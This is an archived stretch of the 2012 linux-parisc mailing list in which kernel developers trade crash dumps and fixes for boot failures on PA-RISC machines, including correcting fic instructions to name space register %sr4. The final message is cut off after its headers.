>>>>>  IIR: 078113e0    ISR: 00000000  IOR: 0f2ff000
>>>>>  CPU:        0   CR30: 17c24000 CR31: f0102978
>>>>>  ORIG_R28: 17ebbe40
>>>>>  IAOQ[0]: flush_icache_page_asm+0x28/0x7c
>>>>>  IAOQ[1]: flush_icache_page_asm+0x2c/0x7c
>>>>>  RP(r2): flush_cache_page+0x90/0xb0
>>>>> Backtrace:
>>>> This one is in a different place: flush_icache_page_asm.  It has
>>>> crashed on the first fic,m instruction.  Again it is an illegal 
>>>> instruction.
>>>>
>>> Looking at the PA 1.1 arch, I see that the space register needs to be
>>> explicitly specified on PA 1.1 (format 26).  The implicit (format 24)
>>> instruction was added in PA 2.0.
>>>
>>> Could you try adding %sr0 to the fic instructions?
>> no illegal instruction any longer, but "bad address"....
>> I changed all to " fic,m           %r1(%sr0,%r28)"
>>
>>
>>
>> Freeing unused kernel memory: 320k freed
>> Backtrace:
>>  [<101198cc>] flush_cache_page+0x90/0xb0
>>  [<101b9b84>] do_wp_page+0x1e0/0x7b4
>>  [<101bb970>] handle_pte_fault+0x284/0x7c0
>>  [<101bbf74>] handle_mm_fault+0xc8/0x120
>>  [<10118cc8>] do_page_fault+0x228/0x2d0
>>  [<1011a838>] handle_interruption+0x1d4/0x6c4
>>  [<10105078>] intr_check_sig+0x0/0x34
>>
>>
>> Bad Address (null pointer deref?): Code=17 regs=17c244c0 (Addr=0f17d000)
>>
>>      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
>> PSW: 00000000000001001111100100001111 Not tainted
>> r00-03  0004f90f 00000020 101198cc 17c24440
>> r04-07  4017d4c4 17ebf498 007cd000 007cdb05
>> r08-11  17ebee40 17ec55f4 107eb7c0 10768020
>> r12-15  000007cd 17ebee74 000005f4 00050000
>> r16-19  17c23098 17c24140 0011849c 17c22db8
>> r20-23  0000004b 108fc000 00000000 00000000
>> r24-27  000007cd 0f17dfe0 0000f9a0 106e2020
>> r28-31  0f17d000 17c23098 17c244c0 6fffffff
>> sr00-03  00000800 00000001 00000000 00000001
>> sr04-07  00000000 00000000 00000000 00000000
>>
>> IASQ: 00000000 00000000 IAOQ: 1010118c 10101190
>>  IIR: 078102a0    ISR: 00000800  IOR: 0f17d000
>>  CPU:        0   CR30: 17c24000 CR31: f0102978
>>  ORIG_R28: 17c51000
>>  IAOQ[0]: flush_icache_page_asm+0x28/0x7c
>>  IAOQ[1]: flush_icache_page_asm+0x2c/0x7c
>>  RP(r2): flush_cache_page+0x90/0xb0
>> Backtrace:
>>  [<101198cc>] flush_cache_page+0x90/0xb0
>>  [<101b9b84>] do_wp_page+0x1e0/0x7b4
>>  [<101bb970>] handle_pte_fault+0x284/0x7c0
>>  [<101bbf74>] handle_mm_fault+0xc8/0x120
>>  [<10118cc8>] do_page_fault+0x228/0x2d0
>>  [<1011a838>] handle_interruption+0x1d4/0x6c4
>>  [<10105078>] intr_check_sig+0x0/0x34
>>
>>
>>
>>
> Try %sr2 or %sr4.  %sr0 isn't zero.

Dave, great, you fixed it !
All my machines now boot the 32bit kernel.
%sr2 does not work since it becomes a value unequal to zero later in the 
boot process.
%sr4 did worked - it's actually used further down in pacache.S in 
flush_kernel_icache_page() as well...

I still have the problem that my B160L "hangs" during boot after 
starting crond - but I'm not sure if this is related to your patches 
since the other machines do work.
Maybe it's just some userspace trouble....

Will you send your patches to Linus as he requested in the other mail?

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Issue booting v2.6.39 .. v3.4-rc6 on hp712/100
Date: Tue, 15 May 2012 16:48:41 -0400
Lines: 24
Approved: news@gmane.org
Message-ID: <4FB2C129.90307@bell.net>
References: <4FA9975C.5060708@bergerie>  <41786065.U2qKzXR3uX@donald.sf-tec.de> <4FAA9382.7040802@bell.net>  <4FAADE2A.9080803@bergerie> <BLU0-SMTP65CF901B170B044925E85897160@phx.gbl>  <4FAEE943.2030203@gmx.de> <BLU0-SMTP93504AF1AF0414C90D1EFB971A0@phx.gbl>  <4FB182F8.2040403@gmx.de> <BLU0-SMTP728EA90F4400504B2AF7A4971A0@phx.gbl>  <1337069366.3005.10.camel@dabdike.lan> <1337073212.3005.12.camel@dabdike.lan> <4FB29F13.5070801@bell.net> <4FB2A58A.9050706@gmx.de> <4FB2AD78.1020002@bell.net> <4FB2B2A2.2020207@bell.net> <4FB2B5B1.7000604@gmx.de> <4FB2B71B.7090602@bell.net> <4FB2BC5F.3080905@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1337114903 2701 80.91.229.3 (15 May 2012 20:48:23 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 15 May 2012 20:48:23 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>,
	Vincent <vincent.stehle@laposte.net>,
	Rolf Eike Beer <eike-kernel@sf-tec.de>,
	linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue May 15 22:48:21 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SUOfN-00083p-5Y
	for glpp-linux-parisc@plane.gmane.org; Tue, 15 May 2012 22:48:21 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S933350Ab2EOUsU (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 15 May 2012 16:48:20 -0400
Original-Received: from smtp3.primus.ca ([209.216.129.203]:39068 "EHLO
	mail-01.primus.ca" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S932618Ab2EOUsU (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 15 May 2012 16:48:20 -0400
Original-Received: from 216-58-40-249.cpe.distributel.net ([216.58.40.249] helo=[192.168.0.181])
	by mail-01.primus.ca with esmtpa (Exim 4.72)
	(envelope-from <dave.anglin@bell.net>)
	id 1SUOfI-0002Vw-02; Tue, 15 May 2012 16:48:16 -0400
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:12.0) Gecko/20120428 Thunderbird/12.0.1
In-Reply-To: <4FB2BC5F.3080905@gmx.de>
X-Authenticated: danglin-lux@magma.ca - 216-58-40-249.cpe.distributel.net ([192.168.0.181]) [216.58.40.249]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4401
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4401>

On 5/15/2012 4:28 PM, Helge Deller wrote:
> Will you send your patches to Linus as he requested in the other mail?
You have the diff for the two PA 1.1 changes.  Suggest you send them.
I think these should go to stable as well as soon as it is verified that all
targets boot.

I think my cache-2 is more appropriate for linux-next.  There are a number
of subtle issues with it.  I am pleased that the users that have tried 
it have
been generally happy with it.

We need to debug why your B160L hangs.  Can you kill whatever hangs
from the console?  Sometimes the application is still in the foreground.

Dave

-- 
John David Anglin    dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Issue booting v2.6.39 .. v3.4-rc6 on hp712/100
Date: Tue, 15 May 2012 17:08:08 -0400
Lines: 18
Approved: news@gmane.org
Message-ID: <4FB2C5B8.80907@bell.net>
References: <4FA9975C.5060708@bergerie>  <41786065.U2qKzXR3uX@donald.sf-tec.de> <4FAA9382.7040802@bell.net>  <4FAADE2A.9080803@bergerie> <BLU0-SMTP65CF901B170B044925E85897160@phx.gbl>  <4FAEE943.2030203@gmx.de> <BLU0-SMTP93504AF1AF0414C90D1EFB971A0@phx.gbl>  <4FB182F8.2040403@gmx.de> <BLU0-SMTP728EA90F4400504B2AF7A4971A0@phx.gbl>  <1337069366.3005.10.camel@dabdike.lan> <1337073212.3005.12.camel@dabdike.lan> <4FB29F13.5070801@bell.net> <4FB2A58A.9050706@gmx.de> <4FB2AD78.1020002@bell.net> <4FB2B2A2.2020207@bell.net> <4FB2B5B1.7000604@gmx.de> <4FB2B71B.7090602@bell.net> <4FB2BC5F.3080905@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1337116076 12078 80.91.229.3 (15 May 2012 21:07:56 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 15 May 2012 21:07:56 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>,
	Vincent <vincent.stehle@laposte.net>,
	Rolf Eike Beer <eike-kernel@sf-tec.de>,
	linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue May 15 23:07:51 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SUOyA-0000Tn-CY
	for glpp-linux-parisc@plane.gmane.org; Tue, 15 May 2012 23:07:46 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S966817Ab2EOVHp (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 15 May 2012 17:07:45 -0400
Original-Received: from smtp2.primus.ca ([209.216.129.142]:50282 "EHLO
	mail-01.primus.ca" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S966814Ab2EOVHp (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 15 May 2012 17:07:45 -0400
Original-Received: from 216-58-40-249.cpe.distributel.net ([216.58.40.249] helo=[192.168.0.181])
	by mail-01.primus.ca with esmtpa (Exim 4.72)
	(envelope-from <dave.anglin@bell.net>)
	id 1SUOy6-0002Jn-1H; Tue, 15 May 2012 17:07:42 -0400
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:12.0) Gecko/20120428 Thunderbird/12.0.1
In-Reply-To: <4FB2BC5F.3080905@gmx.de>
X-Authenticated: danglin-lux@magma.ca - 216-58-40-249.cpe.distributel.net ([192.168.0.181]) [216.58.40.249]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4402
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4402>

On 5/15/2012 4:28 PM, Helge Deller wrote:
> %sr2 does not work since it becomes a value unequal to zero later in 
> the boot process.

I think my cache patch is broken sr2 isn't always 0.  The only code that 
plays with sr2
seems to be in lib/memcpy.c.

Dave

-- 
John David Anglin    dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Vincent <vincent.stehle@laposte.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Issue booting v2.6.39 .. v3.4-rc6 on hp712/100
Date: Tue, 15 May 2012 23:01:05 +0200
Lines: 31
Approved: news@gmane.org
Message-ID: <4FB2C411.4020408@bergerie>
References: <4FA9975C.5060708@bergerie>	 <41786065.U2qKzXR3uX@donald.sf-tec.de> <4FAA9382.7040802@bell.net>	 <4FAADE2A.9080803@bergerie> <BLU0-SMTP65CF901B170B044925E85897160@phx.gbl>	 <4FAEE943.2030203@gmx.de> <BLU0-SMTP93504AF1AF0414C90D1EFB971A0@phx.gbl>	 <4FB182F8.2040403@gmx.de> <BLU0-SMTP728EA90F4400504B2AF7A4971A0@phx.gbl>	 <1337069366.3005.10.camel@dabdike.lan> <1337073212.3005.12.camel@dabdike.lan>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1337116846 18220 80.91.229.3 (15 May 2012 21:20:46 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 15 May 2012 21:20:46 +0000 (UTC)
Cc: John David Anglin <dave.anglin@bell.net>,
	Helge Deller <deller@gmx.de>,
	Rolf Eike Beer <eike-kernel@sf-tec.de>,
	linux-parisc@vger.kernel.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue May 15 23:20:43 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SUPAg-0003RK-LF
	for glpp-linux-parisc@plane.gmane.org; Tue, 15 May 2012 23:20:43 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S966816Ab2EOVUm (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 15 May 2012 17:20:42 -0400
Original-Received: from smtp4-g21.free.fr ([212.27.42.4]:41256 "EHLO smtp4-g21.free.fr"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S966814Ab2EOVUl (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 15 May 2012 17:20:41 -0400
Original-Received: from romuald.bergerie (unknown [82.228.252.113])
	by smtp4-g21.free.fr (Postfix) with ESMTP id 548244C8139
	for <linux-parisc@vger.kernel.org>; Tue, 15 May 2012 23:20:31 +0200 (CEST)
Original-Received: by romuald.bergerie (Postfix, from userid 65534)
	id 9DAB0120044; Tue, 15 May 2012 23:01:06 +0200 (CEST)
X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on romuald.bergerie
X-Spam-Level: 
X-Spam-Status: No, score=-0.8 required=5.0 tests=ALL_TRUSTED,FH_FROMEML_NOTLD
	autolearn=no version=3.3.1
Original-Received: from [192.168.124.7] (clopinette.bergerie [192.168.124.7])
	by romuald.bergerie (Postfix) with ESMTPS id AAB1C120040;
	Tue, 15 May 2012 23:01:05 +0200 (CEST)
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.16) Gecko/20120506 Icedove/3.0.11
In-Reply-To: <1337073212.3005.12.camel@dabdike.lan>
X-Enigmail-Version: 1.0.1
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4403
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4403>

On 05/15/2012 11:13 AM, James Bottomley wrote:
(..)
> OK, I think this is the problem.  We have a depd instruction in do_alias
> which is now in the _11 fault paths.
> 
> This should be the fix, if someone wants to test it before I can get
> around to building it.

Hi James,

This makes my hp712 boot now; congrats!

Works for me with v3.4-rc6 and v3.4-rc7, with the following "patches pile":

depd patch     (http://www.spinics.net/lists/linux-parisc/msg04169.html)
sections patch (http://www.spinics.net/lists/linux-parisc/msg04091.html)
cache patch    (http://www.spinics.net/lists/linux-parisc/msg04120.html)
v3.4-rc7

Thanks!

...I think I'll upload a git, somewhere, for convenience.

Best regards,

V.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Issue booting v2.6.39 .. v3.4-rc6 on hp712/100
Date: Wed, 16 May 2012 08:27:37 +0100
Lines: 169
Approved: news@gmane.org
Message-ID: <1337153257.2985.3.camel@dabdike.int.hansenpartnership.com>
References: <4FA9975C.5060708@bergerie>
	  <41786065.U2qKzXR3uX@donald.sf-tec.de> <4FAA9382.7040802@bell.net>
	  <4FAADE2A.9080803@bergerie> <BLU0-SMTP65CF901B170B044925E85897160@phx.gbl>
	  <4FAEE943.2030203@gmx.de> <BLU0-SMTP93504AF1AF0414C90D1EFB971A0@phx.gbl>
	  <4FB182F8.2040403@gmx.de> <BLU0-SMTP728EA90F4400504B2AF7A4971A0@phx.gbl>
	  <1337069366.3005.10.camel@dabdike.lan>
	 <1337073212.3005.12.camel@dabdike.lan> <4FB29F13.5070801@bell.net>
	 <4FB2A58A.9050706@gmx.de> <4FB2AD78.1020002@bell.net>
	 <4FB2B2A2.2020207@bell.net> <4FB2B5B1.7000604@gmx.de>
	 <4FB2B71B.7090602@bell.net> <4FB2BC5F.3080905@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1337153267 24976 80.91.229.3 (16 May 2012 07:27:47 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 16 May 2012 07:27:47 +0000 (UTC)
Cc: John David Anglin <dave.anglin@bell.net>,
	Vincent <vincent.stehle@laposte.net>,
	Rolf Eike Beer <eike-kernel@sf-tec.de>,
	linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed May 16 09:27:46 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SUYe9-0002mg-Kt
	for glpp-linux-parisc@plane.gmane.org; Wed, 16 May 2012 09:27:46 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1759223Ab2EPH1p (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 16 May 2012 03:27:45 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:56639 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1759381Ab2EPH1o (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 16 May 2012 03:27:44 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 559A88EE0DD;
	Wed, 16 May 2012 00:27:43 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id Tx7u_Q98KYnI; Wed, 16 May 2012 00:27:42 -0700 (PDT)
Original-Received: from [153.66.254.224] (unknown [87.194.65.0])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id AC01B8EE081;
	Wed, 16 May 2012 00:27:40 -0700 (PDT)
In-Reply-To: <4FB2BC5F.3080905@gmx.de>
X-Mailer: Evolution 3.2.3 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4404
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4404>

On Tue, 2012-05-15 at 22:28 +0200, Helge Deller wrote:
> On 05/15/2012 10:05 PM, John David Anglin wrote:
> > On 5/15/2012 3:59 PM, Helge Deller wrote:
> >> On 05/15/2012 09:46 PM, John David Anglin wrote:
> >>> On 5/15/2012 3:24 PM, John David Anglin wrote:
> >>>> James patch now let my 715/64 boot, but still crashes on my B160L:
> >>>>>
> >>>>> swapper (pid 1): Illegal instruction (code 8)
> >>>>>
> >>>>>      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> >>>>> PSW: 00000000000001001110000100001111 Not tainted
> >>>>> r00-03  0004e10f 00000020 101198cc 17c245c0
> >>>>> r04-07  ffeff000 17ec05f8 007d4000 17e60260
> >>>>> r08-11  17c5100b fffff000 17e60310 00020000
> >>>>> r12-15  00000ffc 0000000b 00000000 ffeff000
> >>>>> r16-19  007d4000 10768020 10000000 17c22db8
> >>>>> r20-23  17c245c8 108fc000 00000001 00000020
> >>>>> r24-27  000007d4 0f2fffe0 0000fa80 106e2020
> >>>>> r28-31  0f2ff000 000074ee 17c24640 000072e6
> >>>>> sr00-03  00000000 00000001 00000000 00000000
> >>>>> sr04-07  00000000 00000000 00000000 00000000
> >>>>>
> >>>>> IASQ: 00000000 00000000 IAOQ: 1010118c 10101190
> >>>>>  IIR: 078113e0    ISR: 00000000  IOR: 0f2ff000
> >>>>>  CPU:        0   CR30: 17c24000 CR31: f0102978
> >>>>>  ORIG_R28: 17ebbe40
> >>>>>  IAOQ[0]: flush_icache_page_asm+0x28/0x7c
> >>>>>  IAOQ[1]: flush_icache_page_asm+0x2c/0x7c
> >>>>>  RP(r2): flush_cache_page+0x90/0xb0
> >>>>> Backtrace:
> >>>> This one is in a different place: flush_icache_page_asm.  It has
> >>>> crashed on the first fic,m instruction.  Again it is an illegal 
> >>>> instruction.
> >>>>
> >>> Looking at the PA 1.1 arch, I see that the space register needs to be
> >>> explicitly specified on PA 1.1 (format 26).  The implicit (format 24)
> >>> instruction was added in PA 2.0.
> >>>
> >>> Could you try adding %sr0 to the fic instructions?
> >> no illegal instruction any longer, but "bad address"....
> >> I changed all to " fic,m           %r1(%sr0,%r28)"
> >>
> >>
> >>
> >> Freeing unused kernel memory: 320k freed
> >> Backtrace:
> >>  [<101198cc>] flush_cache_page+0x90/0xb0
> >>  [<101b9b84>] do_wp_page+0x1e0/0x7b4
> >>  [<101bb970>] handle_pte_fault+0x284/0x7c0
> >>  [<101bbf74>] handle_mm_fault+0xc8/0x120
> >>  [<10118cc8>] do_page_fault+0x228/0x2d0
> >>  [<1011a838>] handle_interruption+0x1d4/0x6c4
> >>  [<10105078>] intr_check_sig+0x0/0x34
> >>
> >>
> >> Bad Address (null pointer deref?): Code=17 regs=17c244c0 (Addr=0f17d000)
> >>
> >>      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> >> PSW: 00000000000001001111100100001111 Not tainted
> >> r00-03  0004f90f 00000020 101198cc 17c24440
> >> r04-07  4017d4c4 17ebf498 007cd000 007cdb05
> >> r08-11  17ebee40 17ec55f4 107eb7c0 10768020
> >> r12-15  000007cd 17ebee74 000005f4 00050000
> >> r16-19  17c23098 17c24140 0011849c 17c22db8
> >> r20-23  0000004b 108fc000 00000000 00000000
> >> r24-27  000007cd 0f17dfe0 0000f9a0 106e2020
> >> r28-31  0f17d000 17c23098 17c244c0 6fffffff
> >> sr00-03  00000800 00000001 00000000 00000001
> >> sr04-07  00000000 00000000 00000000 00000000
> >>
> >> IASQ: 00000000 00000000 IAOQ: 1010118c 10101190
> >>  IIR: 078102a0    ISR: 00000800  IOR: 0f17d000
> >>  CPU:        0   CR30: 17c24000 CR31: f0102978
> >>  ORIG_R28: 17c51000
> >>  IAOQ[0]: flush_icache_page_asm+0x28/0x7c
> >>  IAOQ[1]: flush_icache_page_asm+0x2c/0x7c
> >>  RP(r2): flush_cache_page+0x90/0xb0
> >> Backtrace:
> >>  [<101198cc>] flush_cache_page+0x90/0xb0
> >>  [<101b9b84>] do_wp_page+0x1e0/0x7b4
> >>  [<101bb970>] handle_pte_fault+0x284/0x7c0
> >>  [<101bbf74>] handle_mm_fault+0xc8/0x120
> >>  [<10118cc8>] do_page_fault+0x228/0x2d0
> >>  [<1011a838>] handle_interruption+0x1d4/0x6c4
> >>  [<10105078>] intr_check_sig+0x0/0x34
> >>
> >>
> >>
> >>
> > Try %sr2 or %sr4.  %sr0 isn't zero.
> 
> Dave, great, you fixed it !
> All my machines now boot the 32bit kernel.
> %sr2 does not work since it becomes a value unequal to zero later in the 
> boot process.
> %sr4 did worked - it's actually used further down in pacache.S in 
> flush_kernel_icache_page() as well...

Right, in the two byte space encoding, which is what we usually do, a
zero means use the correct quadrant space register (i.e. %sr4 through %
sr7 depending on which quadrant we're in.  Since PA doesn't use
quadrants, we keep them all at the space of the context - i.e. zero for
kernel).  The 24 bit form of the instruction has an explicit space
requirement, so you have to specify manually, which means just pick any
of %sr4-%sr7 since they're always the same.

> I still have the problem that my B160L "hangs" during boot after 
> starting crond - but I'm not sure if this is related to your patches 
> since the other machines do work.
> Maybe it's just some userspace trouble....
> 
> Will you send your patches to Linus as he requested in the other mail?

I'll take care of the urgent ones once we have a set of booting kernels.
My current attempts to boot a B180 are failing on RCU:

Initializing cgroup subsys cpuacct
Initializing cgroup subsys memory
Initializing cgroup subsys devices
Initializing cgroup subsys freezer
devtmpfs: initialized
NET: Registered protocol family 16
Backtrace:
 [<10180fc4>] rcu_process_callbacks+0x20/0x40
 [<101330b0>] __do_softirq+0xd8/0x190
 [<101331d0>] run_ksoftirqd+0x68/0x118
 [<1014a144>] kthread+0xac/0xb4
 [<1010305c>] ret_from_kernel_thread+0x1c/0x24


Kernel Fault: Code=26 regs=2ec3c2c0 (Addr=00000000)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001000000000000001111 Not tainted
r00-03  0004000f 104d9820 10180fc4 2ec3c240
r04-07  2ec76630 00000000 00000fff 10480910
r08-11  00000100 0000000a 104d9c60 104d9c80
r12-15  1047e884 103f16a8 00000009 f0100000
r16-19  f0000c70 f0000194 1fffffe0 00000100
r20-23  00000007 2ec222d8 2ec222d8 00000000
r24-27  00000000 0000006b 2ec222a8 1046a020
r28-31  2ec3c000 2ec222a0 2ec3c2c0 00000004
sr00-03  00000000 00000000 00000000 00000000
sr04-07  00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 10180f58 10180f5c
 IIR: 0ca01080    ISR: 00000000  IOR: 00000000
 CPU:        0   CR30: 2ec3c000 CR31: f0102978
 ORIG_R28: 00000000
 IAOQ[0]: __rcu_process_callbacks+0x7c/0xc8
 IAOQ[1]: __rcu_process_callbacks+0x80/0xc8
 RP(r2): rcu_process_callbacks+0x20/0x40
Backtrace:
 [<10180fc4>] rcu_process_callbacks+0x20/0x40
 [<101330b0>] __do_softirq+0xd8/0x190
 [<101331d0>] run_ksoftirqd+0x68/0x118
 [<1014a144>] kthread+0xac/0xb4
 [<1010305c>] ret_from_kernel_thread+0x1c/0x24

Kernel panic - not syncing: Kernel Fault

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Geert Uytterhoeven <geert@linux-m68k.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: Build regressions/improvements in v3.4-rc7
Date: Wed, 16 May 2012 10:47:13 +0200
Lines: 79
Approved: news@gmane.org
Message-ID: <CAMuHMdUtL4_mv-e-EQAZmNcb9dAT=PXB59i7Vuj2vf8NnaBFzQ@mail.gmail.com>
References: <1337157034-22773-1-git-send-email-geert@linux-m68k.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1337158044 28642 80.91.229.3 (16 May 2012 08:47:24 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 16 May 2012 08:47:24 +0000 (UTC)
Cc: Linuxppc-dev <linuxppc-dev@ozlabs.org>,
	Parisc List <linux-parisc@vger.kernel.org>,
	"the arch/x86 maintainers" <x86@kernel.org>
To: linux-kernel@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Wed May 16 10:47:23 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SUZt8-0000UV-N5
	for glpp-linux-parisc@plane.gmane.org; Wed, 16 May 2012 10:47:19 +0200
